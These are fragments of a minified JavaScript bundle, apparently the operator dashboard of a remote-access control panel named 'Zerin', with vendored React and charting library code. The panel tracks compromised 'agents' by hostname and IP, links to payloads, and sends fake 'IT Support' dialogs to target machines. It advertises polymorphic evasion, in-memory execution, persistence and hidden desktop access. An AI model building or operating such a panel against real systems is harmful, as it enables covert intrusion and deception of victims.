document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),m.useEffect(()=>{if(!e)return;const i=()=>{F6(),s=setTimeout(i,5e3+Math.random()*5e3)};let s=setTimeout(i,2e3);return()=>clearTimeout(s)},[e]),{isActive:e}}const U6={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},V6={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},H6={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},K6={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},G6={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function xd({status:e,size:t="md",showLabel:n=!1}){return a.jsxs("span",{className:"inline-flex items-center gap-2",children:[a.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&a.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),a.jsx("span",{className:`relative inline-block rounded-full ${U6[t]} ${H6[e]}`})]}),n&&a.jsx("span",{className:`font-mono font-medium tracking-wider ${V6[t]} ${K6[e]}`,children:G6[e]})]})}function Y6({open:e,onClose:t,agents:n}){const[r,i]=m.useState(""),[s,o]=m.useState(0),l=m.useRef(null),c=xr(),u=m.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(p=>p.hostname.toLowerCase().includes(f)||p.username.toLowerCase().includes(f)||p.internal_ip.includes(f)||p.external_ip.includes(f)||p.id.toLowerCase().includes(f)).slice(0,10).map(p=>({type:"agent",id:p.id,primary:p.hostname,secondary:`${p.username} — ${p.internal_ip}`,agent:p}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username} — ${f.internal_ip}`,agent:f}))},[r,n]);m.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),m.useEffect(()=>{o(0)},[r]);const d=m.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return m.useEffect(()=>{if(!e)return;function f(p){if(p.key==="Escape"){t();return}p.key==="ArrowDown"&&(p.preventDefault(),o(h=>Math.min(h+1,u.length-1))),p.key==="ArrowUp"&&(p.preventDefault(),o(h=>Math.max(h-1,0))),p.key==="Enter"&&u[s]&&(p.preventDefault(),d(u[s]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,s,t,d]),e?a.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[a.jsx("div",{className:"absolute inset-0 bg-black/60"}),a.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder
|
|||
|
|
text-zerin-text-muted border border-zerin-panel-border\r
|
|||
|
|
hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r
|
|||
|
|
transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("span",{className:"flex-1 text-left",children:"Search..."}),a.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),a.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:D,label:G,icon:R})=>a.jsx(VE,{to:D,end:D==="/dashboard",className:({isActive:K})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150
|
|||
|
|
${K?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover"}`,children:({isActive:K})=>a.jsxs(a.Fragment,{children:[K&&a.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),a.jsx("span",{className:K?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:R}),a.jsx("span",{className:"font-medium",children:G}),D==="/payloads"&&r&&a.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},D))}),a.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&a.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r
|
|||
|
|
text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r
|
|||
|
|
transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),a.jsx("span",{className:"flex-1 text-left",children:"Notifications"}),a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),a.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${T?"bg-zerin-accent":"bg-zinc-600"}`}),a.jsx("span",{className:T?"text-zerin-text-dim":"text-zerin-text-muted",children:T?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),a.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r
|
|||
|
|
text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r
|
|||
|
|
transition-colors duration-150`,children:[a.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[a.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),a.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),a.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),a.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:a.jsx(_E,{})}),a.jsx(Y6,{open:x,onClose:()=>g(!1),agents:y}),b&&a.jsx(e_,{}),N&&a.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>k(!1),style:{animation:"credits-in 0.5s ease-out"},children:[a.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),a.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[a.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:`
|
|||
|
|
_______ ______ ______ _____ __ _
|
|||
|
|
/ |______ |_____/ | | \\ |
|
|||
|
|
/ |______ | \\_ __|__ | \\_|
|
|||
|
|
`}),a.jsxs("div",{className:"space-y-4 mb-10",children:[a.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),a.jsxs("div",{className:"space-y-3",children:[a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),a.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),a.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),a.jsx("style",{children:`
|
|||
|
|
@keyframes credits-in {
|
|||
|
|
from { opacity: 0; }
|
|||
|
|
to { opacity: 1; }
|
|||
|
|
}
|
|||
|
|
@keyframes glitch-appear {
|
|||
|
|
0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); }
|
|||
|
|
50% { transform: scale(1.02) translateY(-2px); filter: blur(0); }
|
|||
|
|
100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); }
|
|||
|
|
}
|
|||
|
|
@keyframes credits-glow {
|
|||
|
|
from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); }
|
|||
|
|
to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); }
|
|||
|
|
}
|
|||
|
|
@keyframes credit-slide {
|
|||
|
|
from { opacity: 0; transform: translateY(15px); }
|
|||
|
|
to { opacity: 1; transform: translateY(0); }
|
|||
|
|
}
|
|||
|
|
`})]})]})})}const n_=m.memo(function(){const t=m.useRef(null);return m.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,s=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let N=0;N<c;N++){const k=N/c*.07;u[N]=`rgba(6,182,212,${k.toFixed(4)})`}const d=60;let f=0,p=0,h=0,x=0,g;function y(){n.width=window.innerWidth,n.height=window.innerHeight,f=Math.ceil(n.width/d)+1,p=Math.ceil(n.height/d)+1,h=n.width/2,x=n.height/2,g=new Float32Array(p*f);for(let N=0;N<p;N++)for(let k=0;k<f;k++){const z=k*d-h,S=N*d-x;g[N*f+k]=Math.sqrt(z*z+S*S)*.005}}y(),window.addEventListener("resize",y);let v=null;function b(){v=document.createElement("canvas"),v.width=n.width,v.height=n.height;const N=v.getContext("2d");N.fillStyle="rgba(0,0,0,0.12)";for(let k=0;k<v.height;k+=4)N.fillRect(0,k,v.width,1)}b();function w(N){if(i=requestAnimationFrame(w),N-o<l)return;o=N,s+=.003*(l/16.67);const k=n.width,z=n.height;r.clearRect(0,0,k,z);const S=Math.PI*2;let O=0;for(let A=0;A<p;A++){const T=A*d;for(let P=0;P<f;P++){const G=(Math.sin(g[O++]-s)*.5+.5)*c|0;r.fillStyle=u[G<c?G:c-1],r.beginPath(),r.arc(P*d,T,1,0,S),r.fill()}}v&&v.width===k&&v.height===z&&r.drawImage(v,0,0)}i=requestAnimationFrame(w);const j=()=>{y(),b()};return window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),a.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function r_(e,t=40,n=0){const r=m.useRef(null),i=m.useRef(null),[s,o]=m.useState(!1);return m.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:s}}const i_=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VN
|
|||
|
|
text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
|||
|
|
transition-all duration-200`}),a.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r
|
|||
|
|
transition-colors hover:bg-zerin-accent-hover\r
|
|||
|
|
disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),a.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function w_(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const j_=({open:e,onClose:t,title:n,children:r})=>{const i=m.useRef(null);return m.useEffect(()=>{if(!e)return;const s=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",s),()=>document.removeEventListener("keydown",s)},[e,t]),m.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?a.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[a.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),a.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),a.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:a.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function Rj(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t<i;t++)e[t]&&(n=Rj(e[t]))&&(r&&(r+=" "),r+=n)}else for(n in e)e[n]&&(r&&(r+=" "),r+=n);return r}function Qe(){for(var e,t,n=0,r="",i=arguments.length;n<i;n++)(e=arguments[n])&&(t=Rj(e))&&(r&&(r+=" "),r+=t);return r}var N_=["dangerouslySetInnerHTML","onCopy","onCopyCapture","onCut","onCutCapture","onPaste","onPasteCapture","onCompositionEnd","onCompositionEndCapture","onCompositionStart","onCompositionStartCapture","onCompositionUpdate","onCompositionUpdateCapture","onFocus","onFocusCapture","onBlur","onBlurCapture","onChange","onChangeCapture","onBeforeInput","onBeforeInputCapture","onInput","onInputCapture","onReset","onResetCapture","onSubmit","onSubmitCapture","onInvalid","onInvalidCapture","onLoad","onLoadCapture","onError","onErrorCapture","onKeyDown","onKeyDownCapture","onKeyPress","onKeyPressCapture","onKeyUp","onKeyUpCapture","onAbort","onAbortCapture","onCanPlay","onCanPlayCapture","onCanPlayThrough","onCanPlayThroughCapture","onDurationChange","onDurationChangeCapture","onEmptied","onEmptiedCapture","onEncrypted","onEncryptedCapture","onEnded","onEndedCapture","onLoadedData","onLoadedDataCapture","onLoadedMetadata","onLoadedMetadataCapture","onLoadStart","onLoadStartCapture","onPause","onPauseCapture","onPlay","onPlayCapture","onPlaying","onPlayingCapture","onProgress","onProgressCapture","onRateChange","onRateChangeCapture","onSeeked","onSeekedCapture","onSeeking","onSeekingCapture","onStalled","onStalledCapture","onSuspend","onSuspendCapture","onTimeUpdate","onTimeUpdateCapture","onVolumeChange","onVolumeChangeCapture","onWaiting","onWaitingCapture","onAuxClick","onAuxClickCapture","onClick","onClickCapture","onContextMenu","onContextMenuCapture","onDoubleClick","onDoubleClickCapture","onDrag","onDragCapture","onDragEnd","onDragEndCapture","onDragEnter","onDragEnterCapture","onDragExit","onDragExitCapture","onDragLeave","onDragLeaveCapture","onDragOver","onDragOverCapture","onDragStart","onDragStartCapture","onDrop","onDropCapture","onMouseDown","onMouseDownCapture","onMouseEnter","onMouseLeave","onMouseMove","onMouseMoveCapture","onMouseOut","onMouseOutCapture","onMouseOver","onMouseOv
|
|||
|
|
* @license React
|
|||
|
|
* use-sync-external-store-shim.production.js
|
|||
|
|
*
|
|||
|
|
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
|||
|
|
*
|
|||
|
|
* This source code is licensed under the MIT license found in the
|
|||
|
|
* LICENSE file in the root directory of this source tree.
|
|||
|
|
*/var ls=m;function MA(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var LA=typeof Object.is=="function"?Object.is:MA,IA=ls.useState,DA=ls.useEffect,RA=ls.useLayoutEffect,$A=ls.useDebugValue;function BA(e,t){var n=t(),r=IA({inst:{value:n,getSnapshot:t}}),i=r[0].inst,s=r[1];return RA(function(){i.value=n,i.getSnapshot=t,lm(i)&&s({inst:i})},[e,n,t]),DA(function(){return lm(i)&&s({inst:i}),e(function(){lm(i)&&s({inst:i})})},[e]),$A(n),n}function lm(e){var t=e.getSnapshot;e=e.value;try{var n=t();return!LA(e,n)}catch{return!0}}function FA(e,t){return t()}var WA=typeof window>"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?FA:BA;ON.useSyncExternalStore=ls.useSyncExternalStore!==void 0?ls.useSyncExternalStore:WA;AN.exports=ON;var UA=AN.exports;/**
|
|||
|
|
* @license React
|
|||
|
|
* use-sync-external-store-shim/with-selector.production.js
|
|||
|
|
*
|
|||
|
|
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
|||
|
|
*
|
|||
|
|
* This source code is licensed under the MIT license found in the
|
|||
|
|
* LICENSE file in the root directory of this source tree.
|
|||
|
|
*/var Cd=m,VA=UA;function HA(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var KA=typeof Object.is=="function"?Object.is:HA,GA=VA.useSyncExternalStore,YA=Cd.useRef,qA=Cd.useEffect,XA=Cd.useMemo,ZA=Cd.useDebugValue;_N.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=YA(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=XA(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,KA(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=GA(e,s[0],s[1]);return qA(function(){o.hasValue=!0,o.value=l},[l]),ZA(l),l};EN.exports=_N;var QA=EN.exports,Hx=m.createContext(null),JA=e=>e,ot=()=>{var e=m.useContext(Hx);return e?e.store.dispatch:JA},jc=()=>{},eO=()=>jc,tO=(e,t)=>e===t;function je(e){var t=m.useContext(Hx),n=m.useMemo(()=>t?r=>{if(r!=null)return e(r)}:jc,[t,e]);return QA.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:eO,t?t.store.getState:jc,t?t.store.getState:jc,n,tO)}function nO(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function rO(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function iO(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var xy=e=>Array.isArray(e)?e:[e];function aO(e){const t=Array.isArray(e[0])?e[0]:e;return iO(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function sO(e,t){const n=[],{length:r}=e;for(let i=0;i<r;i++)n.push(e[i].apply(null,t));return n}var oO=class{constructor(e){this.value=e}deref(){return this.value}},lO=typeof WeakRef<"u"?WeakRef:oO,cO=0,vy=1;function Wl(){return{s:cO,v:void 0,o:null,p:null}}function TN(e,t={}){let n=Wl();const{resultEqualityCheck:r}=t;let i,s=0;function o(){var f;let l=n;const{length:c}=arguments;for(let p=0,h=c;p<h;p++){const x=arguments[p];if(typeof x=="function"||typeof x=="object"&&x!==null){let g=l.o;g===null&&(l.o=g=new WeakMap);const y=g.get(x);y===void 0?(l=Wl(),g.set(x,l)):l=y}else{let g=l.p;g===null&&(l.p=g=new Map);const y=g.get(x);y===void 0?(l=Wl(),g.set(x,l)):l=y}}const u=l;let d;if(l.s===vy)d=l.v;else if(d=e.apply(null,arguments),s++,r){const p=((f=i==null?void 0:i.deref)==null?void 0:f.call(i))??i;p!=null&&r(p,d)&&(d=p,s!==0&&s--),i=typeof d=="object"&&d!==null||typeof d=="function"?new lO(d):d}return u.s=vy,u.v=d,d}return o.clearCache=()=>{n=Wl(),o.resetResultsCount()},o.resultsCount=()=>s,o.resetResultsCount=()=>{s=0},o}function uO(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let s=0,o=0,l,c={},u=i.pop();typeof u=="object"&&(c=u,u=i.pop()),nO(u,`createSelector expects an output function after the inputs, but received: [${typeof u}]`);const d={...n,...c},{memoize:f,memoizeOptions:p=[],argsMemoize:h=TN,argsMemoizeOptions:x=[]}=d,g=xy(p),y=xy(x),v=aO(i),b=f(function(){return s++,u.apply(null,arguments)},...g),w=h(function(){o++;const N=sO(v,arguments);return l=b.apply(null,N),l},...y);return Object.assign(w,{resultFunc:u,memoizedResultFunc:b,dependencies:v,dependencyRecomputations:()=>o,resetDependencyRecomputations:()=>{o=0},lastResult:()=>l,recomputations:()=>s,resetRecomputations:()=>{s=0},memoize:f,argsMemoize:h})};return Object.assign(r,{withTypes:()=>r}),r}var I=uO(TN),dO=Object.assign((e,t=I)=>{rO(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(s=>e[s]);return t(r,(...s)=>s.reduce((o,l,c)=>(o[n[c]]=l,o),{}))},{withTypes:()=>dO}),MN={},LN={},IN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="sym
|
|||
|
|
please check the style of container, or the props width(%s) and height(%s),
|
|||
|
|
or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the
|
|||
|
|
height and width.`,k,z,i,s,o,l,n),m.createElement("div",{id:f?"".concat(f):void 0,className:Qe("recharts-responsive-container",p),style:Fy(Fy({},x),{},{width:i,height:s,minWidth:o,minHeight:l,maxHeight:c}),ref:g},m.createElement("div",{style:GT({width:i,height:s})},m.createElement(kk,{width:k,height:z},u)))}),Wy=m.forwardRef((e,t)=>{var n=e0();if(Si(n.width)&&Si(n.height))return e.children;var{width:r,height:i}=YT({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:s,calculatedHeight:o}=jk(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return ge(s)&&ge(o)?m.createElement(kk,{width:s,height:o},e.children):m.createElement(JT,Qp({},e,{width:r,height:i,ref:t}))});function t0(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var Ud=()=>{var e,t=Jn(),n=je($T),r=je(Wd),i=(e=je(Fd))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},eM={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},tM=()=>{var e;return(e=je(kt))!==null&&e!==void 0?e:eM},nM=()=>je(Hr),rM=()=>je(Kr),De=e=>e.layout.layoutType,ws=()=>je(De),iM=()=>{var e=ws();if(e==="horizontal"||e==="vertical")return e},zk=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},aM=()=>{var e=ws();return e!==void 0},ul=e=>{var t=ot(),n=Jn(),{width:r,height:i}=e,s=e0(),o=r,l=i;return s&&(o=s.width>0?s.width:r,l=s.height>0?s.height:i),m.useEffect(()=>{!n&&Si(o)&&Si(l)&&t(mT({width:o,height:l}))},[t,n,o,l]),null},Sk=Symbol.for("immer-nothing"),Uy=Symbol.for("immer-draftable"),hn=Symbol.for("immer-state");function Vn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Uo=Object.getPrototypeOf;function us(e){return!!e&&!!e[hn]}function ma(e){var t;return e?Ck(e)||Array.isArray(e)||!!e[Uy]||!!((t=e.constructor)!=null&&t[Uy])||dl(e)||Hd(e):!1}var sM=Object.prototype.constructor.toString(),Vy=new WeakMap;function Ck(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=Vy.get(n);return r===void 0&&(r=Function.toString.call(n),Vy.set(n,r)),r===sM}function vu(e,t,n=!0){Vd(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Vd(e){const t=e[hn];return t?t.type_:Array.isArray(e)?1:dl(e)?2:Hd(e)?3:0}function Jp(e,t){return Vd(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function Pk(e,t,n){const r=Vd(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function oM(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function dl(e){return e instanceof Map}function Hd(e){return e instanceof Set}function Wi(e){return e.copy_||e.base_}function eh(e,t){if(dl(e))return new Map(e);if(Hd(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=Ck(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[hn];let i=Reflect.ownKeys(r);for(let s=0;s<i.length;s++){const 